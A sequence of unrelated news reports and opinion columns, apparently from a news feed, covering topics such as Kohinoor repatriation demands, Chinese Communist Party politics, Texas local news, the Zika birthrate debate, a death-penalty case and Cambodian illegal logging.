"It is our identity. The British have taken everything from us. It is now time they give it back," says Nayar, one of India's best-known journalists. "How can anyone say it was given as a gift? We were then a colonised nation. Was there an elected government in power who could have offered the diamond as a gift?"

"The British government rejected my demand. When I was a Rajya Sabha MP, I took up this issue again. I think I had the support all the MPs on this matter though I had time to collect signatures of only 25 MPs to press the prime minister to ask the UK government to return the Kohinoor."

"Then foreign minister Jaswant Singh rang me up and said, 'Don't press for it otherwise it will spoil relationships between India and the UK'," Nayar remembers.

The Kohinoor was first exhibited in England in a gilded cage at the Royal Exhibition of 1851 at the Crystal Palace in London. Tens of thousands flocked to see it from the moment the exhibition opened, but were disappointed at seeing the oval shaped diamond which then they believed emanated little lustre.

Prince Albert, Queen Victoria's husband, then ordered that the Kohinoor to be re-cut from 186 carats to its present 105 carats and had it mounted in a tiara with more than 2,000 other diamonds.

The Kohinoor is the centre piece of the crown which Queen Elizabeth II wears on ceremonial occasions.

Professor Tapati Guha Thakurta, a historian at the Centre for Studies in Social Sciences, Kolkata, is a strong advocate for the return of the Kohinoor.

"The British plundered Punjab on the eve of the Mutiny. Ranjit Singh's throne and the Kohinoor were just some of the treasures taken from the Punjab and this remains a symbol of their plunder and loot. It was definitely not a gift," Professor Guha Thakurta says.

"The direct annexation of the kingdom of Awadh left the king with no option but to hand over the royal treasures. A great deal of loot and plunder took place following the defeat of Tipu Sultan in the battle of Seringapatnam. Tipu's throne was moved to Calcutta and part of it remains in the Raj Bhavan in Kolkata," she says, adding, "I believe this should be moved back and displayed in Seringapatnam."

"When the last Mughal court moved to Lahore, many artefacts, paintings and manuscripts were taken by the British. My position on this is that cultural diplomacy must follow distinct laws of repatriation," Professor Guha Thakurta adds.

"It would be wonderful for Indians to have the Kohinoor and the Peacock Throne displayed in all its glory at the Red Fort of India," she says.

Dr Gautam Sengupta, former ASI chief, also maintains that art treasures must return to their "cultural surroundings" to be viewed in their cultural-specific environment.

UNESCO has laid down clear guidelines that all artefacts must be returned to the countries from where they were taken.

Historian Professor Shereen Ratnagar shoots down what she describes as the "bumptious claims" of the British Museum that it is holding these treasures for the entire world.

"The British colonised the whole world and took these treasures home," Professor Ratnagar points out. "The time has now come that these treasures return from where they had been brought."

She dismisses the claims that these treasures are better looked after in Western museums and cites the example of how a Greek archaeologist informed her that the Parthenon marbles had marks of metal brushing on them and how an ivory figurine from Baluchistan had been found to have a leg missing (which was not the case one year earlier) while on display at the British Museum.

Seventy per cent of all Indian artefacts are in storage and have not been displayed by the British Museum authorities, she says.

In a strongly worded article titled 'The Discovery and Appropriation of a People's Past Mesopotamia-Nineteenth to 21st Century,' Professor Ratnagar has written that the Amravati sculpted gateways, which are the cultural property of Andhra Pradesh, cannot be examined by its people at close quarters because they are housed in London.

Are the Louvre, the British Museum and the Berlin Museum the only safe havens for antiquities, she asked.

Professor Ratnagar also questioned how the West allowed the Iraq Museum to be pillaged during the American invasion of Iraq. 'Why was the Iraq Museum left unguarded after the US invasion in 2003 between the days of April 11 and 16 which saw Iraq lose some of its most valuable treasures?' she asked.

A day after Solicitor General Ranjit Kumar told the the Supreme Court that the Kohinoor was a gift to the British, the Union culture ministry issued a statement that the government would do everything to get the Kohinoor back!

The government's hasty retraction and its contradictory signals means the British have more reason not to part with the precious bauble in a hurry.

IMAGE: The Kohinoor diamond in the crown on the coffin bearing the Queen Mother at her funeral in 2002. Photograph: Sion Touhig/Getty Images
What was the need for Xi Jinping, General Secretary of the Chinese Communist Party, President of the People's Republic of China and Chairman, Central Military Commission, to don the new role of Commander in-Chief?

Does this mean that the most powerful Chinese leader since Mao faces numerous threats from within the Communist Party?

Claude Arpi decodes the signals coming from Beijing.

IMAGE: An image depicting Chinese President Xi Jinping is seen on the joker card of a set of cards featuring Chinese top political figures in this photo illustration taken in Beijing. Photograph: Karl Dong/Reuters

Xi Jinping appears to be more and more the lonely man of China.

His latest move to nominate himself as Commander-in-Chief of the People's Liberation Army's Joint Battle Command, while appearing on State media in a camouflage uniform, displays growing insecurity at the top.

According to CCTV, Xi stated that the new command should be 'absolutely loyal (to him!), resourceful in fighting, efficient in commanding, and courageous and capable of winning wars.'

Xu Guangyu, a retired PLA major general, told The South China Morning Post: 'Xi's camouflage military suit showed that he is top commander of the PLA's supreme joint battle command body, and is capable of commanding land, navy and air forces, as well as other special troops like the Rocket Force and Strategic Support Force.'

Why does Xi need put on another hat when he is already Chairman of the all-powerful Central Military Commission?

Simply because he may not be fully in control of the CMC.

It is true that the PLA 'reforms' are extremely ambitious and changing an ingrained corrupt system is not easy, in China or elsewhere.

To add to the Chinese president's woes, the Panama Papers named his brother-in-law, who is said to have established some offshore firms. Though these companies went dormant before Xi came into power, the damage was done: For the International Consortium of Investigative Journalists who investigated the Panama-based law firm Mossack Fonseca, Xi's name is indirectly linked.

Already in June 2012, The New York Times and Bloomberg had exposed Xi's family: 'As Xi climbed the Communist Party ranks, his extended family expanded their business interests to include minerals, real estate and mobile-phone equipment,' Bloomberg noted.

IMAGE: People's Liberation Army officers arrive at the Great Hall of the People in Beijing, March 4, 2016, ahead of the opening ceremony of the National People's Congress. Photograph: Damir Sagolj/Reuters

Probably more worrisome for Xi, the Middle Kingdom is sailing through rough weather and in the months to come, we may witness fireworks in the Chinese Communist Party.

The Nikkei in Japan reported a verbal 'jab' between Xi and Yu Zhengsheng, the chairman of the Chinese People's Political Consultative Conference during the recently concluded Two Sessions at the Great Hall of the People in Beijing.

During the 19th Congress to be held in November 2017, five of the seven members of the Politburo Standing Committee -- the highest body in the Chinese Communist Party -- are expected to retire.

The Nikkei quoted an old China hand: 'Signs of discord within the Politburo Standing Committee have now emerged. The rift may come to the surface over the committee seats.'

Does it mean that everything is not harmonious in the Land of Confucius?

On March 14 during the concluding session of the Chinese People's Political Consultative Conference, Yu Zhengsheng, who is also a member of the Politburo Standing Committee, had apparently fired the first shots at Xi.

During his concluding remarks, Yu dared to deviate from the official line: The Communist leadership had agreed to uphold 'Four Consciousnesses' related to 'politics, the bigger picture, the core and consistency.'

Yu spoke of only three: The need to further enhance the consciousness of politics, the consciousness of the bigger picture and the consciousness of responsibility.

What about the 'consciousness of the core and the consciousness of consistency' (in following 'the core leader')?

Observers believe that Yu showed his disagreement with Xi when he brought up a 'new consciousness,' that of 'responsibility' and omitted 'the core.'

In his opening speech on March 3, Yu spoke of the differences of views and perceptions which can arise over specific issues and stressed the need to seek 'consistency', while respecting 'diversity.' What 'diversity'? Yu left it undefined.

Yu also looks after the United Front Department, whose role is to 'unite' the Party. He is also in charge of Tibet and Xinjiang, China's most restive provinces.

IMAGE: Xi Jinping, left, with his predecessors Jiang Zemin and Hu Juntao at the military parade marking the 70th anniversary of the end of World War II in Beijing, September 3, 2015. Photograph: Wang Zhao/Reuters

This comes after an open letter attacking Xi and asking for his resignation was published on a website Wujie News. The letter was entitled: 'A Request for Comrade Xi Jinping to Resign from Leadership Positions in the Party and the State.'

It blamed Xi for many negative events in China and asked him to step down. It was, of course, quickly removed from the Wujie website.

Wujie claimed that the article had been posted by a hacker.

Wujie is a joint venture of the SEEC Media Group Limited (the parent company of Caixing magazine), the Xinjiang government and Jack Ma's Alibaba Group.

Was it the act of a hacker?

With Alibaba hosting the site, it is considered the safest hosting service in China. So what happened?

Could Wujie have published the letter on its own? Difficult to say, but the website was subsequently shut down for several days.

Obviously, Xi does not have only friends and comrades in the Communist Party.

According to The Digital Times, on March 29, while Xi was attending the Nuclear Summit in Washington, DC, a second letter calling for Xi's impeachment started circulating on the internet; the letter was titled 'An Open Letter to the Entire Party, the Army, and the People, Calling for the Immediate Impeachment of Xi Jinping and His Removal from All Posts Inside and Outside of the Party.'

For the Mingjing, a weekly magazine, some 171 Communist Party members had signed the letter which was later removed from Mingjing' website, though it continued to be on some Chinese blogs. The petition alleged that Xi had committed five categories of crimes and demanded his immediate dismissal.

Party members were asked to vote for a new leader at the 19th Congress in November 2017.

Should all this be taken seriously?

The speed with which the letters were removed seems to indicate that Beijing takes it seriously.

IMAGE: China's Politburo Standing Committee: (1st row from left to right) Zhang Dejiang, Premier Li Keqiang, Yu Zhengsheng, (2nd row) Xi Jinping, (3rd row from left to right) Zhang Gaoli, Wang Qishan, Liu Yunshan. Photograph: Carlos Barria/Reuters

The reputed China watcher, Orville Schell commented on the present state of affairs in the Middle Kingdom: 'As different leaders have come and gone, China specialists overseas have become accustomed to reading CPC tea leaves as oscillating cycles of political "relaxation" and "tightening:... But what has been happening lately in Beijing under the leadership of Xi Jinping is no such simple fluctuation. It is a fundamental shift in ideological and organisational direction that is beginning to influence both China's reform agenda and its foreign relations.'

Schell's reading is that: 'At the centre of this retrograde trend is Xi's enormously ambitious initiative to purge the Chinese Communist Party of what he calls "tigers and flies," namely corrupt officials and businessmen both high and low.'

Very few observers are, however, ready to criticise him; most of them want to protect their own interests or their opportunity to work in China.

Last year, another renowned American 'China hand' David Shambaugh published an article 'The Coming Chinese Crackup' in The Wall Street Journal, in which the scholar mentioned his worries for Xi's regime.

On March 1, he backtracked in The Global Times.

'In the past year,' Shambaugh now explains, 'because of that article, many Chinese friends no longer treated me as an "old friend." Many Chinese media criticised me. No one invited me to visit China. All of these things upset me.'

Beijing knows how to twist its friends' arms.

Today, Shambaugh conveniently blames the editor of The Wall Street Journal: '(the title) was not from me.... They wanted to attract more readers' eyeballs and create more profit for the newspaper.'

Now, the US scholar is defending Xi: 'I have stated clearly that anti-corruption is good. I am all for it. It is the right thing to do and the public has received it very well. I give a thumbs up to Xi Jinping and Wang Qishan's anti-corruption fight.'

'Corruption is the cancer that erodes the Party, the government, the economy, and society. It must be taken care of otherwise it will lead to the downfall of the CPC.'

Many 'watchers' will follow Shambaugh's footsteps, but the point remains that China is nervous and shaky.

IMAGE: Xi Jinping during the military parade marking the 70th anniversary of the end of World War II in Beijing, September 3, 2015. Photograph: Damir Sagolj/Reuters

Just take the historical interpretation of the Cultural Revolution; a Global Times editorial, ahead of the 50th anniversary of the political upheaval, warned: 'Reflections are normal ... but they should not add or change the official political verdict.' The Editor insisted that 'the profoundness of the official verdict on history could not be paralleled by sporadic ideas by individuals.'

A few weeks ago, former culture minister Wang Meng argued that the party and Chinese intellectuals had a responsibility to 'further explain' the campaign.

Now The Global Times says: 'If China brings up a wave of reflections and discussions (on the Cultural Revolution) as wished by some, the established political consensus will be jeopardised and turbulence in ideas may occur.' It warned those using the Cultural Revolution by linking it to current issues and those who predict that the Cultural Revolution can return.

Another worrying sign is that China is installing a nationwide system of social control known as 'grid management.' The Financial Times noted that it is 'a revival of State presence in residential life that had receded as society liberalised during recent decades.'

'From smog-blanketed towns on the North China Plain to the politically sensitive Tibetan capital of Lhasa, small police booths and networks of citizens have been set up block by block to reduce neighbourhood disputes, enforce sanitation, reduce crime -- and keep an eye on anyone deemed a troublemaker,' the newspaper explained.

If you don't agree, you may be labeled a 'troublemaker.' Be ready to pay the consequences.

Xi Jinping seems very lonely on the rarefied summit of Zhongnanhai, the secretive seat of the Communist Party of China. How long he can survive alone is a serious question.
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This is not a UNHCR publication. UNHCR is not responsible for, nor does it necessarily endorse, its content. Any views expressed are solely those of the author or publisher and do not necessarily reflect those of UNHCR, the United Nations or its Member States.
Comments

This document provides answers to questions from our various partners regarding the Refugee Coordination Model (RCM) and Joint UNHCR-OCHA Note on Mixed Situations: Coordination.
Why IU lost to Rutgers: Hoosiers blow early lead, drop 5th straight

Indiana scored two touchdowns on its first two possessions but didn't score another in a 24-17 loss to Rutgers on Saturday
There's growing uncertainty in Haskell after all 134 employees at the Rolling Plains Detention Center received notice that they will be without jobs by June 9.

The impending layoffs stem from U.S. Immigration and Customs Enforcement plans to move the center's almost 500 detained immigrants to a new facility in Alvarado, which is closer to Dallas, said Haskell County Judge David C. Davis.

For about 14 years, the Rolling Plains facility has housed detainees under a federal contract with ICE. Before that, the facility took in prisoners from Wyoming.

Emerald Correctional Management, the private company that operates the prison, is not allowed to sign the lease with InvenTrust Properties, the property owner, without first having a contract to house more than 200 inmates, Davis said.

"A lease without inmates isn't any good," he said.

"We're feeling uneasy, uncomfortable wondering what tomorrow's going to bring if we don't get a contract," he said, describing the mood of workers at the detention center as well as that of elected officials.

Officials are contacting state and federal agencies in search of new inmates, Davis said.

Davis said the "probability is good" that Rolling Plains will find a contractor.

In the event no contract is acquired, however, Robert Puls and Steve Collins of Workforce Solutions of West Central Texas are putting together unemployment packages for the center's 134 workers.

"What we have done is presented our Rapid Response program to the warden and he is contact with his supervisors in the company," said Puls, business development consultant at Workforce Solutions. "Until we get some information back from him, we're really on a hold."

Collins, a resource consultant, said the agency will assist employees by providing information on unemployment insurance, how to apply for other jobs in Texas, and possible workshops on refining their interview skills and financial budgeting.

Neither the Rolling Plains Detention Center nor Emerald Correctional Management responded to Reporter-News requests for comment. ICE officials indicated they may have comments next week.

Twitter: ARN_Titus
Incident reports released Thursday by the Abilene Police Department:

Burglary, 1300 block of Tulane Drive, Tuesday

A woman told police someone broke into her locked vehicle and stole $1,660 in property.

Criminal mischief, 1600 block of Matador Street, Tuesday

A woman told police someone caused $700 in damage to the door of her vehicle.

Credit card abuse, 100 block of Orange Blossom Drive, Tuesday

Man told police someone fraudulently used his card and made a $390.59 purchase.
In 1935, a couple of admitted alcoholics started something that today is embraced by more than 2 million people worldwide and has touched the lives of untold millions more.

What Bill Wilson and Bob Smith did is phenomenal, just ask anyone sporting one or more chips that mark periods of sobriety through the fellowship of Alcoholics Anonymous.

"I don't know if it saved my life," said Abilenian Thomas Irvin, "but it gave me a life."

The fellowship, which wasn't called "Alcoholics Anonymous" in its infancy, quickly spread from its founding in Akron, Ohio, to other parts of the country and the world.

In May 1946, it came to Abilene. On Saturday, several hundred people are expected to celebrate AA's 70 years in Abilene with a day of fellowship, meals, guest speakers, AA meetings, and a closing raffle.

The anniversary celebration, which begins at 8 a.m. and closes with a final talk and raffle at 9 p.m., will be held in the Display Building of the Taylor County Expo Center. All activities, including three meals, are free. The only cost will be for raffle tickets.

"Everybody keeps telling me it's going to be good," said Frank L., chair of the event. "I think it's going to be a good anniversary.

The hallmark of Alcoholics Anonymous is the anonymity, with many members choosing to identify themselves by first name and last initial, like Frank L. Anonymity is sacred to members to the point that many never know the last name of people they sit next to in meetings for years.

Some members, like Irvin, don't mind anyone knowing who they are. Irvin, 74, was born in Aspermont, grew up in Rotan, and left school not knowing how to read or write. Gaining those skills, with the help of a friend, Juanita B., was one of the many accomplishments Irvin gained through sobriety.

Irvin's journey began with a trip to the Veterans Administration hospital in Big Spring. It turned out that too much alcohol was the main reason for his ills. He started the road to recovery in the hospital.

"I didn't know I was going up there for that," Irvin said, "but that's what it was."

He hasn't had a drink since that journey began in 1975. After service in the Army, Irvin came to Abilene, where his parents had moved in 1967. He said he never was really drunk but always had some alcohol in his system.

"I drank every day I could get a drink," he said.

That is the story of millions of others who found sobriety through the fellowship of Alcoholics Anonymous when everything else failed. The concept behind AA is simple  people who want to get sober and stay sober meet together to talk about their common problem.

They "work" the 12 steps of recovery and then they take that message to others who are still struggling. Those who successfully follow the program can echo a comment made by Irvin, who has been sober 41 years, thanks to AA.

"I've never had a drink since I sobered up," he said.

AA to mark 70 years in Abilene

IF YOU GO:

What: 70th anniversary celebration of Alcoholics Anonymous in Abilene

When: 8 a.m.-10 p.m. Saturday

Where: Display Building, Taylor County Expo Center

Admission: Free



SCHEDULE

8 a.m.  Registration

8-10:30 a.m.  Breakfast

8:45 a.m.  Welcome

9 a.m.  AA meeting

11 a.m.  Speaker meeting

11:30-2 p.m.  Lunch

2 p.m.  Oldtimers meeting (10 or more years sobriety)

3:30  Al-Anon meeting (families of alcoholics)

6 p.m.  Dinner

7:30 p.m.  History of AA in Abilene

7:45 p.m.  Sobriety Countdown

8 p.m.  Speaker meeting

9 p.m.  Closing and raffle



TIMELINE

1935: Alcoholics Anonymous, which didnt have a name at the time, founded in Akron, Ohio, by Bill Wilson and Bob Smith

1939: First printing of Alcoholics Anonymous Big Book, the basic textbook of AA. It was called the Big Book because the thick paper used made it exceptionally large. Text, written by Bill Wilson, explained A.A.s philosophy and methods, the core of which was the now well-known Twelve Steps of recovery.

May 1946: First chapter of AA opens in Abilene

March 1980: Former church building at Russell and Carl streets purchased to house Abilene Open Door, a clubhouse for AA meetings.



2016 STATISTICS

United States: 60,698 groups; 1,262,542 members

Worldwide: 117,748 groups; 2,089,698 members



HOW TO GET HELP

24-hour toll-free hotline: 800-396-1602

Abilene Open Door: 672-0190

More information: www.aa.org

Sources: www.aa.org; Reporter-News files, local AA
Lesley and Betty Shelburne are among the few married couples who can claim a marriage of 76 years.

Even though Shelburne family members came from all parts of the country a year ago to celebrate the 75th anniversary, staff members at Northern Oaks Living and Rehab Center couldn't resist an opportunity to honor their two residents on their anniversary.

Lesley, 97 and a World War II veteran, began residing at the center about a year ago. Betty, 96, will be in the facility's rehabilitation therapy unit for only a few months.

'This is really a special time for us to have both of them here,' said Mary Foster, Northern Oaks activities director. 'Our (company's) culture is to find ways to celebrate special occasions for our residents, but the longevity of the Shelburnes' marriage makes this a rare special event for all of our residents.'

Foster said Mrs. Shelburne offhandedly mentioned that Thursday would be their 76th wedding anniversary. Seizing on the opportunity, the staff took the party one step further and placed an ad in the Abilene Reporter-News to invite the community to the 3 p.m. celebration.

The Shelburnes are not only unusual in their long lives and long marriage but have children, grandchildren, and great-grandchildren living across about a fifth of the United States.

'Our family is big  about 150 in just our immediate family,' Betty said. 'By this July we will have 60 great-grandchildren.'

Betty and Lesley met as elementary schoolchildren in Hamlin. At age 10, Betty moved to Fort Worth to help her parents with a tailor shop, as the family recovered from financial loses during the Great Depression.

They did well enough to move back to Hamlin with a new Ford and a new house. While Betty and Lesley could have easily gone separate ways, she to attend college at Mary Hardin Baylor University, Les to John Tarleton Agriculture College in Stephenville, they were fated to meet again  back in their hometown of Hamlin.

'Les told me he first saw me at church in Hamlin. He said he told a friend he was with, 'That's the kind of girl I'm going to marry.' '

The early 1940s was a busy time for the newlyweds. Les worked at the Consolidated Vultee Bomber Plant that built the B-24 'Liberator' heavy bomber, and the couple moved into the provided housing at Liberator Village west of Fort Worth.

A short time later Les was called to serve in the Army's 94th Infantry Division in Germany, where he was wounded with shrapnel.

The first of eight children was born in 1941; Lesley Bryan Shelburne, a Hardin-Simmons graduate, would assume command of the prestigious U.S. Army Band from 1990 to 2000. He also served as executive officer and associate director of the Armed Forces Bicentennial Band and, most recently, commanded the United States Military Academy Band at West Point.

The Shelburnes would also have two sets of twin girls, Sarah (Darnell) and Ann (Russell), then Judy (Montgomery) and Jan (Teer). Their son Tom is a retired lawyer, and a third son, James, has worked for E-Systems, a technology firm, since he graduated from Howard Payne University.

'I am always exalted by our children's accomplishments,' Betty said. 'Our big family is one of the things that has always held us together.'

Foster said the Shelburnes are a joy to have together at Northern Oaks.

'I'll take her (Betty) to the dining room to eat, and his face will absolutely light up when he sees her. He will proclaim, 'That's my wife.' He's so giddy when he's around her,' Foster said. 'She's still the girl he wants to court.'
Imagine a full year, or two, during which a nation's old people die but no new people are born. Picture an elementary school with empty first- and second-grade classrooms. Look further ahead to the years when no new workers join the labor pool.

How would a two-year collapse in the birthrate rattle a nation? We might be about to find out.

The immediate worries about Zika virus  which the Centers for Disease Control and Prevention has determined can cause microcephaly and other brain damage in newborn babies  are obviously medical in nature. Where should pregnant women not travel? How quickly can a vaccine be developed? At the same time, in an attempt to stave off more cases of microcephaly, several Zika-affected nations  El Salvador, Brazil, Ecuador, Colombia and Jamaica  are trying to prevent all births.

The governments in these countries are asking women to delay pregnancies for several months, or until more is known about the Zika outbreak. At the extreme end, El Salvador is asking women to hold off on becoming pregnant for two years. So far, there's no way to know whether women will, or can, heed such warnings. (However, in Puerto Rico, where the health minister has given similar advice, the pregnancy rate already is about 8 percent lower than last year.) But population experts are already mulling over the long-term economic and social effects these nations might see from a steep drop in the birthrate.

Abrupt shifts in population destabilize social structures, said Karen Hardee, a senior associate at the Population Council. Consider the recently revoked one-child policy in China, which resulted in gender unbalance, the abandonment of babies, the emergence of the 'little emperor' syndrome as well as a burgeoning population of elderly people.

We can only speculate what might happen if any country effects a near-zeroing of the birthrate for just two years. The nearest that population experts have to go by is again in China, where many parents strive to have their children in years seen as astrologically auspicious  such as the Year of the Dragon  while avoiding other years. During the 'desirable' years, hospitals are overtaxed and later on, schools are overcrowded. But those shifts aren't nearly so drastic as what could potentially happen in El Salvador.

What happens to a country when all of a sudden there is no market for diapers? How is the soul of a village damaged by the absence of babies? And what happens, Hardee asks, as a dramatically small cohort progresses through school and life?

One easy-to-foresee outcome of a population pause: In less than two decades, there would be a dearth of 18-year-olds to conscript for military service in El Salvador. In any country there could be social unrest if wealthy women travel to Zika-free zones to bear children, while the poor remain childless. Countries also must plan for the population boom that most certainly will follow when the outbreak ends or a vaccine becomes available.

So far, Hardee said, El Salvador and other nations are still struggling to make a birth hiatus happen, and not yet contemplating the fallout. Any government attempt to coerce a lower birthrate would have serious human-rights implications. 'Just don't have kids' has largely been the extent of the advice. And so the responsibility to mitigate this global health crisis has been dumped on young women. Prospective mothers obviously want to avoid terrible birth defects, but they also face familial and cultural pressures as well as concerns about aging out of their safest childbearing years.

Zika-affected countries have to move quickly if a voluntary family-planning campaign is going to work. In El Salvador, for instance, birth control is often in the form of sterilization after a woman has children. That won't work for this situation. Abortion is illegal in most of the affected countries and unless lawmakers are willing to make it more obtainable, they can count on unwanted births occurring among Zika-infected women.

Karin Klein is a freelance writer based in Southern California who frequently writes about health, education and the environment. She wrote this for the Los Angeles Times.
Friday is a day of reckoning for Duane Buck.

That's the day the Supreme Court will determine whether to hear his appeal for a new sentencing hearing. Buck is on Death Row in Texas.

It is important to emphasize that he is not seeking a new trial. There's no question of Buck's guilt in the 1995 shooting deaths of his ex-girlfriend, Debra Gardner, her friend, Kenneth Butler, and Buck's stepsister, Phyllis Taylor. No, all he's asking is to be resentenced for the crime.

There is, you see, a law in Texas that says you can't be sentenced to death unless a jury finds that you represent a future danger, i.e., that you are likely to hurt someone else if left alive. In Buck's case, psychologist Walter Quijano, a supposed expert testifying for the defense, no less, told jurors Buck represented just such a danger.

Because he is black.

If any of this rings a bell, it's because I wrote about the case three years ago. If you read that column, you may recall that one of the researchers on whose writings Quijano based his testimony says his work supports no such conclusion. Indeed, Quijano's claim was so outrageous that even Buck's surviving victim and one of his prosecutors think he should get a new hearing. In 2000, Sen. John Cornyn, who was then Texas' attorney general, conceded the state was wrong in allowing race to be used as a factor in sentencing.

Quijano had given similar testimony in six cases. The other five defendants, all black or Hispanic, got new hearings. Buck was denied, based on a flimsy legalism, namely that the offending testimony came not on 'cross,' but on direct examination. In other words, it was first elicited by the defense.

People keep telling me I'm wrong to believe the justice system is riddled with racial bias. They tell me the system has nothing against people of color, and that it is only evidence of their own native criminality that such people are stopped, frisked, arrested, tried and incarcerated in wildly disproportionate numbers. People keep promising me the system is just.

And I keep being sickened by stories like this. I keep finding studies like the 2012 report by University of Maryland criminology professor Raymond Paternoster, which said that at the time of Buck's sentencing, the local DA was three times more likely to seek death for a black defendant than for a white one.

It's worth noting, by the way, that these predictions of future dangerousness are not exactly unerring. Texas Defender Services, a nonprofit law firm specializing in capital cases, studied the records of 155 Death Row inmates and found that only 5 percent went on to commit assaults serious enough to warrant more than a Band-Aid. In a place where you can get written up for saving a seat in the cafeteria or having too many postage stamps, Buck has a clean disciplinary record dating back to 1998.

So Quijano's testimony was not only racist, but also  pardon the redundancy  wrong.

Look, I don't like the death penalty. If you know me, you already know that. But even if I did, I would want to be sure this severest of sanctions was imposed fairly. Plainly, it is not.

And the fact that it is not cannot help but undermine the credibility of the entire system. If we countenance bias at this extremity, what confidence can anyone have in the system's fairness at any level, down to and including parking tickets?

The racism here is not subtle. To the contrary, it is neon. To deny Buck a new sentencing hearing untainted by bizarre suppositions about the future danger he poses because of his skin color would shred even the pretense of equality before the law. So let us hope the Court does what it should.

Because, yes, Friday is a day of reckoning for Duane Buck. But it's a day of reckoning for justice, too.

Email Leonard Pitts, a columnist for The Miami Herald, at lpitts@miamiherald.com.
We often spend time weighing in on bad situations outside of Texas. For example, drinking water polluted with lead in Flint, Michigan.

It makes sense, then, that people elsewhere weigh in on something gone awry in Texas. For example, the drunken 16-year-old driver who killed four people and paralyzed another and the justice delivered him.

What must they think about how justice so far has played out in this appalling case?

We know the state of Texas v. Ethan Couch as the 'affluenza' case. It's a recently made-up word, blending affluent and influenza to define a sickness or affliction based on being coddled so much by parents that a sense of right and wrong is not instilled. The person believes he or she is above others.

It is at best a social condition and at worst simply an excuse; 'affluenza' is not a recognized medical diagnosis.

It may be the defense given since the late Johnnie Cochran's glove reasoning in the O.J. Simpson trial: 'If if doesn't fit, you must acquit.'

Both courtroom tactics worked.

The teen now is an adult and recently was given a 720-day jail sentence  180 days for each person he killed by driving 70 mph in a 40 mph zone and crashing into his victims  and enforced sobriety. The defense had two weeks to argue his order.

All this after violating a prior sentence of probation by going to a party, then fleeing with his mother to Mexico to escape authorities. They were caught in December and returned to Texas.

Folks in other states are scratching their heads of this case, and so are we. Basically two years for four deaths, plus a severe injury, doesn't seem like enough punishment.

In Simpson's case, his troubles came back to haunt him after his 1995 acquittal.

We hope Couch will be remorseful and realize he keeps catching breaks.

He still can make something of his life. Four other people don't have that chance.
Today in history: On April 22, 1970, the first Earth Day is held to boost awareness of environmental problems around the world. College students were a driving force, still on a 1960s high to live as one with nature. Still, it was Sen. Gaylord Nelson of Wisconsin, an environmentalist, who helped provide government support. The EPA was established in July 1970 and pollution legislation soon followed. By 1990, Earth Day was celebrated by 200 million people in 141 countries.
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Using a pair of helicopters and a dozen armored vehicles to reach the most inaccessible areas, Cambodian authorities are claiming an early victory in their battle to stop the illegal logging trade that has decimated the nations forests.

National Military Police Commander Gen. Sao Sokha, who heads the 10-member Coalition Committee for Forest Crime Prevention, forwarded its first forest crime cases to Prime Minister Hun Sen and the courts for review this week, government officials told RFAs Khmer Service.

Officials say the crackdown against pirate logging outfits in Kampong Cham, Tbong Khmum, Kratie, Steung Treng, Rattanakiri and Mondulkiri provinces led to 57 forest crime cases and government confiscation of more than 70,000 cubic meters of logs and saw timber since Hun Sen ordered the formation of the committee in January.

Government officials claim they have forced the pirate logging outfits to pull up stakes or cease operations in the areas where the committees troops have been active.

We still continue doing our work, National Military Police spokesman Eng Hy told RFA. We have not stopped, wherever the location in the provinces is unreachable, we use tanks and helicopters for our operations.

Hun Sen has even given the OK to use helicopter-fired rockets in their attempt to uproot the pirate logging outfits.

Effectiveness questioned

While Cambodian officials contend the campaign is bearing fruit, outside observers and even some inside the government question the efforts effectiveness.

Leng Ouch, winner of this years Goldman Environmental Prize, told RFA that he saw little positive in the governments actions.

It seems that there were no positive signs regarding this matter, he said. Because the prime minister promised in 2002 that he would cut his head off or resign if he could not protect the forests. Since then, we have not seen anything realistic.

Tek Vannara, executive director of The NGO Forum on Cambodia, said the public needs transparency in the forest crime efforts so people outside the government and the ruling party know what is actually going on.

I think that this is a crisis operation, cracking down on forest crimes in Cambodia, he said And what the civil societies want to see is transparency in the crackdowns.

There were even questions raised over the efficacy of the crackdown by government officials as Environment Minister Say Samal told reporters on April 18, that he and U.S. Ambassador to Cambodia William Heidt still saw logging operations at work in Prey Lang when they made a helicopter tour of the area.

Prey Lang is the wealth of all Cambodians, he said. Therefore, we all have roles to play to preserve the forests. We made this trip is to see how the Prey Lang areas are doing in reality.

Leng Ouch says that civil society organizations will work with the government, if officials prove they are serious.

We will collaborate with the government, but in reality the government considers those who protect the forests and protect the environment as their enemy, he said.

I will appeal to international community to push the government to protect the forests seriously rather than practice their actions only on paper and promise to various donors as well as to the people to just gain popularity and votes. This is the reality, and it is not aimed at criticizing the government.

Chut Wuttys legacy

That reality is a dangerous one, as violence unleashed against green activists is growing.

The London-based environmental rights group Global Witness reports that more than 700 environmentalists were murdered in the decade that began in 2001.

In its 2015 report Global Witness found that at least two environmental activists are killed each week with 116 environmental activists were murdered in 2014. Nearly 40 percent of the green activists killed are locals, the group said.

According to the activist group Not 1 More, environmentalists in Cambodia face special risks.

Chut Wutty, founder of the Cambodias Natural Resource Protection Group, was shot dead in April 2012 after establishing himself as one of the countrys most prominent defenders of the forests.

He was killed during an altercation with military police as he and two journalists were investigating suspected illegal logging in a near a protected forest in Koh Kong Province.

An official investigation, found that a military police officer shot Chut Wutty before being accidentally shot dead by another officer. Their report was widely criticized by rights groups for being short on evidence or explanations. The provincial court eventually dropped the case against the surviving officer.

Chut Wuttys life and death became the subject of a British documentary I Am Chut Wutty. While the film has won critical acclaim, the government forced a Phnom Penh theater to pull the film, which was later shown by one NGO in defiance of the de facto ban.

On April 18, the Ministry of Culture and Fine Arts told Nico Mesterharm, founder and director of Meta House, that he could not screen the film, The Cambodia Daily reported.

Ministry of Fine Arts Spokeman Thai Noreak Satya told RFA that Meta House failed to obtain permission to show the film.

We dont have any resentfulness about the film, he said. We just want them to look at the legal grounds.

Chut Wuttys son Chheuy Oudom Reaksmey told RFA that it is the intention of the Cambodian government to bury the memory of his father.

The intention of the government is to prevent the people from knowing the death of my father, he said. They want to close the case.

If they had nothing to do with my fathers death, they should be open about it because my father has helped the nation a lot by helping protect our natural resources, he said. When someone is already dead, and even his video is not allowed to be seen, it seems to be serious discrimination.

Violence and threats continue

Chut Wuttys death may have been the most sensational, but threats, intimidation and attacks still occur, despite the governments new-found interest in stopping forest crimes.

Phorn Sopheaks left leg was injured when she was attacked by an unidentified man while she was sleeping in the forest on the night of March 26. She was on a patrol with the Prey Lang Community Network, a group of Kuy ethnic volunteers that aim to protect the Prey Lang Forest.

Mother Nature, a Cambodian grassroots environmental group, said three of its members were arrested and jailed because of their efforts to protect the wetland forest in Koh Kong.

